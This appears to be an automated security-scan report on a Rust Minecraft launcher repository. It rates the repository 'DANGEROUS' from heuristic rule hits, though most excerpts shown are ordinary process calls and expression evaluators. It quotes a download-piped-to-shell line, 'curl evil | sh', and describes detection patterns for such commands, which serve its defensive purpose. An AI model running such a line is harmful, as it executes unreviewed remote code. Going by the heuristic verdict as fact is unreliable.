DANGER
malware detected
github.com / gerdaroot
gerdaroot/ Horizon-Offline-Launcher
Rust·3402 files·commit 29a77bb·scanned 8h ago·cached ✓
70/100
DANGEROUS
Sensitive capability combinations reachable from entry points. Do not run without review.
This repository contains patterns associated with malware. Do NOT run this code.
verdict accurate?
Created 1 days ago
Created in the last 7 days
Partial architecture graph
threat-state: dangerouslive
FINDINGS ░▒▓
what this code does░▒▓
What happens when you open, install or run it, from the findings below.
- when runcrates/cargo-horizon-mod/src/main.rs and 3 other files start system processes. crates/cargo-horizon-mod/src/main.rs, crates/horizon-client/src/crash.rs, crates/horizon-client/src/game/packs.rs, tools/parity.py
- when runtools/interaction_lab.py builds code from strings at run time with
execoreval. tools/interaction_lab.py - when runcrates/horizon-server/src/update.rs calls wallet signing APIs and sends requests over the network. crates/horizon-server/src/update.rs
- when runlauncher/src/native_mods.rs downloads a script and pipes it to the shell:
curl evil | sh. launcher/src/native_mods.rs
criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/cargo-horizon-mod/src/main.rs
let cargo = std::env::var("CARGO").unwrap_or_else(|_| "cargo".into());
let mut cmd = Command::new(cargo);
cmd.current_dir(root).args([
"build",+8criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/horizon-client/src/crash.rs
fn command_output(program: &str, args: &[&str]) -> Option<String> {
let out = std::process::Command::new(program)
.args(args)
.output()+8criticalRust process Command usagestd::process::Command can execute arbitrary shell commands. Malware uses it to drop payloads, exfiltrate data, or establish persistence.crates/horizon-client/src/game/packs.rs
};
if let Err(e) = std::process::Command::new(program).arg(dir).spawn() {
log::warn!("Horizon: could not open {}: {e}", dir.display());
}+8criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.crates/horizon-client/src/providers.rs
}
fn eval(v: &Value, fast: bool, table: &HashMap<String, Value>, depth: u32) -> f64 {
if depth > 16 {
return 0.0;+8criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.crates/horizon-shaders/src/condition.rs
fn eval(expr: &str) -> Result<i64, String> {
let mut m = Macros::standard();
m.define("SHADOW_RES", "2048");+8criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.crates/horizon-shaders/src/custom.rs
/// values, in the order of `uniforms`.
pub fn eval(&mut self, dt: f64, builtin: &dyn Fn(&str) -> Option<Val>) -> Vec<Val> {
let mut vars: HashMap<String, Val> = HashMap::new();
...+8warningDownload piped into a shellA command downloads remote content and pipes it straight into a shell or interpreter (`curl … | bash`, `iwr … | iex`). Nothing is stored for review and the server can change the payload at any time. Common in CI and Dockerfiles, so this is a warning unless the host is hidden.launcher/src/native_mods.rs
curl evil | sh+4
warningRust unsafe blockunsafe blocks bypass Rust's memory safety guarantees. Malware uses them for raw pointer manipulation, shellcode injection, or calling dangerous foreign functions.third_party/wgpu-hal/src/gles/egl.rs
};
let command = unsafe { ffi::CStr::from_ptr(command_raw) }.to_string_lossy();
let message = if message_raw.is_null() {
"".into()+3warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.tests/test_pre_push.py
def git(self, *args):
return subprocess.check_output(
["git", "-c", f"core.hooksPath={self.repo / 'no-hooks'}", "-c", "user.name=Test",
"-c", "user.email=test@exam...+4criticalPython dynamic code executioneval(), exec() or compile() on untrusted input can execute arbitrary code. Common in Python malware for running obfuscated payloads.tools/interaction_lab.py
def compile(self, *oracles):
sources = [PARITY / (name + '.java') for name in oracles]
done = subprocess.run(['javac', '--release', str(self.lock['minecraft']['java_major']), '-pr...+7warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.tools/parity.py
try:
result = subprocess.run(command, capture_output=True, text=True, cwd=ROOT)
return (result.stdout + result.stderr).strip()
except FileNotFoundError:+4warningRust wallet/crypto code with network activityCode handling private keys or signing and also making network requests may be exfiltrating secrets or sending funds to an attacker.crates/horizon-server/src/update.rs
fn the_archive_for_this_computer_is_picked_with_its_signed_digest() {
use horizon_release_sign::{SigningKey, sha256_hex, sums_file};
let asset = |name: &str| json!({ "name": name, ...+5infoSuspicious file in repoVery large source file (641KB) — could contain obfuscated payloadcrates/horizon-client/src/game.rs+2
Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.
2664 files scanned @ 29a77bb | 10/30/2026 | heuristic scan — always review manually
risk by category
code execution25
network & exfiltration5
file system access0
obfuscation0
supply chain8
owasp / injection0
telemetry
files 2664/3402rules hit 16engine v10commit 29a77bb
github
gerdaroot/Horizon-Offline-Launcher
Horizon Offline Rust Minecraft Launcher
3
0
1d
3402 files
2664 scanned(78%)
29a77bb
network indicators░▒▓
Hosts this code names or would connect to. Top 50 of 396, decoded and call-site destinations first. Informational, not scored.
- https://api.github.com/repos/$REPO/releases/tags/$VERSIONurlnext to network callpackaging/server/install.sh:57
- https://github.com/actions/runner/releases/download/v$version/….gzurlnext to network calltools/ci/linux-runner.sh:89
- https://github.comurlnext to exectools/ci/parity_issues.py:80 +9 more
- https://textures.minecraft.net/texture/abcurldecoded from base64test onlycrates/horizon-client/src/skins.rs:826 +2 more
- https://textures.minecraft.net/texture/abc123urldecoded from base64test onlycrates/horizon-client/src/skins.rs:966 +3 more
- https://raw.githubusercontent.compaste hostcrates/horizon-port-pack/src/fetch.rs:28 +1 more
- 25.0.4.1ipbenchmarks/tick-state-2026-10-04/live-observations.json:42
- https://github.com/$REPO/releases/latest/downloadurlinstall.sh:10
- https://api.github.com/repos/$REPO/releases/latesturlpackaging/server/install.sh:56
- https://github.com/$repourltools/ci/linux-runner.sh:95
- https://github.com/horizon-rust/horizonurltools/remote.sh:90 +1 more
- horizon-offline-launcher-macos-arm64.zipdomaininstall.sh:18
- https://modrinth.com/resourcepack/faithful-32x/version/lDYpMiqkurlbenchmarks/overlay-real-packs-2026-10-15.json:15
- https://cdn.modrinth.com/data/…/versions/…/….zipurlbenchmarks/overlay-real-packs-2026-10-15.json:16 +1 more
- https://modrinth.com/resourcepack/default-hd-128x/version/rErHu3BEurlbenchmarks/overlay-real-packs-2026-10-15.json:29
- https://modrinth.com/resourcepack/fpbr/version/dynf82xkurlbenchmarks/overlay-real-packs-2026-10-15.json:43
- https://cdn.modrinth.com/data/nvEpbd8t/versions/dynf82xk/FPBR-Main-1.21.9-R1.3.zipurlbenchmarks/overlay-real-packs-2026-10-15.json:44
- https://horizon-rust.github.io/horizon-mods/urlcrates/cargo-horizon-mod/src/registry.rs:11 +2 more
- https://discovery.minecraftservices.com/minecraft/clienturlcrates/horizon-client/src/auth.rs:13 +1 more
- https://horizon-rust.github.io/horizon-mods/index.jsonurlcrates/horizon-client/src/moved_extras.rs:16 +1 more
- https://textures.minecraft.net/texture/urlcrates/horizon-client/src/skins.rs:29 +3 more
- http://textures.minecraft.net/texture/urlcrates/horizon-client/src/skins.rs:30 +3 more
- https://github.com/horizon-rust/horizon/blob/main/docs/play-with-friends.mdurlcrates/horizon-friends/src/reach.rs:14
- https://api.github.comurlcrates/horizon-mod-registry/src/github.rs:25 +3 more
- https://uploads.github.comurlcrates/horizon-mod-registry/src/github.rs:26 +1 more
- https://github.com/horizon-rust/horizon-mods/releases/download/urlcrates/horizon-mods/src/index.rs:24
- https://github.com/horizon-rust/horizon/tree/main/crates/horizon-mod-sdk/examples/coords-hudurlcrates/horizon-mods/src/index/registry/tests.rs:33 +1 more
- https://github.com/horizon-rust/horizon-modsurlcrates/horizon-mods/src/index/registry/tests.rs:55 +3 more
- https://github.com/horizon-rust/horizon-mods/releases/download/coords_hud-0.1.0/urlcrates/horizon-mods/src/index/tests.rs:134
- https://cdn.modrinth.comurlcrates/horizon-port-pack/src/fetch.rs:26 +2 more
- https://gitlab.comurlcrates/horizon-port-pack/src/fetch.rs:29
- https://api.modrinth.com/v2urlcrates/horizon-port-pack/src/modrinth.rs:9 +1 more
- https://maven.neoforged.net/releases/net/neoforged/neoforge/urlcrates/horizon-port-pack/src/worldgen.rs:823
- https://piston-meta.mojang.com/v1/packages/urlcrates/horizon-prepare/src/artifacts.rs:321 +3 more
- https://aka.ms/…urlcrates/horizon-server-files/src/eula.rs:8 +6 more
- https://github.com/horizon-rust/horizon/blob/main/docs/server.mdurlcrates/horizon-server/src/service.rs:79
- http://www.apple.com/DTDs/PropertyList-1.0.dtdurlcrates/horizon-server/src/service.rs:111 +2 more
- https://api.github.com/repos/urlcrates/horizon-server/src/update.rs:256 +6 more
- https://playhorizon.devurlcrates/horizon-telemetry-server/src/lib.rs:91 +13 more
- https://telemetry.playhorizon.devurlcrates/horizon-telemetry/src/lib.rs:40
- https://login.microsoftonline.com/consumers/oauth2/v2.0urllauncher/src/account.rs:62
- https://user.auth.xboxlive.com/user/authenticateurllauncher/src/account.rs:65
- https://xsts.auth.xboxlive.com/xsts/authorizeurllauncher/src/account.rs:66
- https://api.minecraftservices.comurllauncher/src/account.rs:67
- https://www.microsoft.com/linkurllauncher/src/account.rs:177 +2 more
- http://auth.xboxlive.comurllauncher/src/account.rs:306 +1 more
- http://textures.minecraft.net/texture/abcurllauncher/src/account/tests.rs:111 +1 more
- http://textures.minecraft.net/texture/cape1urllauncher/src/account/tests.rs:112
- http://textures.minecraft.net/texture/cape2urllauncher/src/account/tests.rs:113 +1 more
- https://playhorizon.dev/docs/agentsurllauncher/src/backend.rs:16 +1 more
architecture░▒▓
entry (0) flagged (26) pkg (196)
596 nodes · 741 edgesscroll to zoom · click node to jump to finding